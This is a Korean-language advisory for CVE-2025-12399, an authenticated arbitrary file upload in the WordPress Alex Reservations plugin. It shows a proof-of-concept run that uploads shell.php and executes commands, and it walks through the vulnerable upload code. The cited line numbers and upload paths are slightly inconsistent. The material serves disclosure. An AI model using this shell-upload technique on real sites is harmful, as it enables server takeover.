Alex Reservations: 스마트 레스토랑 예약 <= 2.2.3 - 인증된 (관리자+) 임의 파일 업로드

WordPress Alex Reservations 플러그인(2.2.3 이하 버전)에는 인증된 WordPress 관리자가 서버에 악성 PHP 파일을 업로드할 수 있게 하는 임의 파일 업로드 취약점이 존재하며, 이로 인해 원격 코드 실행으로 이어질 수 있습니다.

TL;DR 익스플로잇

원격 공격자가 shell.php를 업로드하고 원격 코드를 실행하는 과정을 보여주는 POC CVE-2025-12399.py가 제공됩니다:

python3 ./CVE-2025-12399.py https://TARGETSITE.com admin "$PASSWORD"                                                                                            
[+] Target: http://TARGETSITE.com
[+] Username: admin
[+] Nonce obtained: 022b25d0a5
[+] File uploaded successfully!
[+] Shell URL: https://TARGETSITE.com/wp-content/uploads/alex-reservations/2025/10/shell.php
[+] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

기술적 설명

이 취약점은 /wp-json/srr/v1/app/upload/file 엔드포인트의 UploadFileController.php 파일에 존재합니다. 업로드 기능에는 적절한 파일 검증이 없으며 정규식 패턴을 사용한 기본적인 파일명 정리만 수행됩니다. 이를 통해 인증된 WordPress 관리자는 서버에서 실행될 수 있는 PHP 파일을 포함한 임의의 파일을 업로드할 수 있습니다.

공격 경로 분석

소스: $_FILES['file']의 사용자 입력 (13행) 싱크: copy($file['tmp_name'], $target_dir_file) (38행)

취약점은 다음과 같은 이유로 발생합니다:

라우트 등록: 업로드 엔드포인트는 routes.php에 등록됩니다.
컨트롤러 접근: UploadFileController는 기본 Controller를 상속합니다.
입력 처리: $_FILES['file']의 사용자 제어 파일 데이터가 검증 없이 직접 처리됩니다.
파일 처리: 정규식을 사용한 기본적인 파일명 정리만 적용됩니다: preg_replace('/[^a-z0-9_\.\-[:space:]]/i', '_', $file_name) (50행)
파일 저장: MIME 유형 검증이나 파일 확장자 제한 없이 파일이 wp-content/uploads/alexr-uploads/YYYY/MM/에 저장됩니다.

취약 코드 위치

파일: includes/application/Alexr/Http/Controllers/UploadFileController.php 행: 11-53

public function upload(Request $request)
{
    $file = $_FILES['file'];  // SOURCE: User input ([line 13](https://plugins.trac.wordpress.org/browser/alex-reservations/trunk/includes/application/Alexr/Http/Controllers/UploadFileController.php#L13))
    
    // Target dir / url
    $upload_dir = wp_upload_dir();
    $date = evavel_date_now()->format('Y/m');
    $base_dir = $upload_dir['basedir'].'/'.ALEXR_UPLOAD_FOLDER.'/'.$date;
    $base_url = $upload_dir['baseurl'].'/'.ALEXR_UPLOAD_FOLDER.'/'.$date;

    if (!file_exists($base_dir)) {
        $folder_created = wp_mkdir_p($base_dir);
        if (!$folder_created) {
            return $this->response([
                'success' => false,
                'error' => __eva('Error creating folder.')
            ]);
        }
    }

    $file_name = $file['name'];
    $file_name = preg_replace('/[^a-z0-9_\.\-[:space:]]/i', '_', $file_name);  // Only basic sanitization ([line 50](https://plugins.trac.wordpress.org/browser/alex-reservations/trunk/includes/application/Alexr/Http/Controllers/UploadFileController.php#L50))

    $target_dir_file = $base_dir.'/'.$file_name;
    $target_url_file = $base_url.'/'.$file_name;

    $result = copy($file['tmp_name'], $target_dir_file);  // SINK: Direct file copy ([line 38](https://plugins.trac.wordpress.org/browser/alex-reservations/trunk/includes/application/Alexr/Http/Controllers/UploadFileController.php#L38))

    if (!$result) {
        return $this->response([
            'success' => false,
            'error' => __eva('Error saving file.')
        ]);
    }

    return $this->response([
        'success' => true,
        'file_path' => $target_dir_file,
        'file_url' => $target_url_file,
        'message' => __eva('Uploaded.')
    ]);
}

CVE-2025-12399

인기

TL;DR 익스플로잇

기술적 설명

공격 경로 분석

취약 코드 위치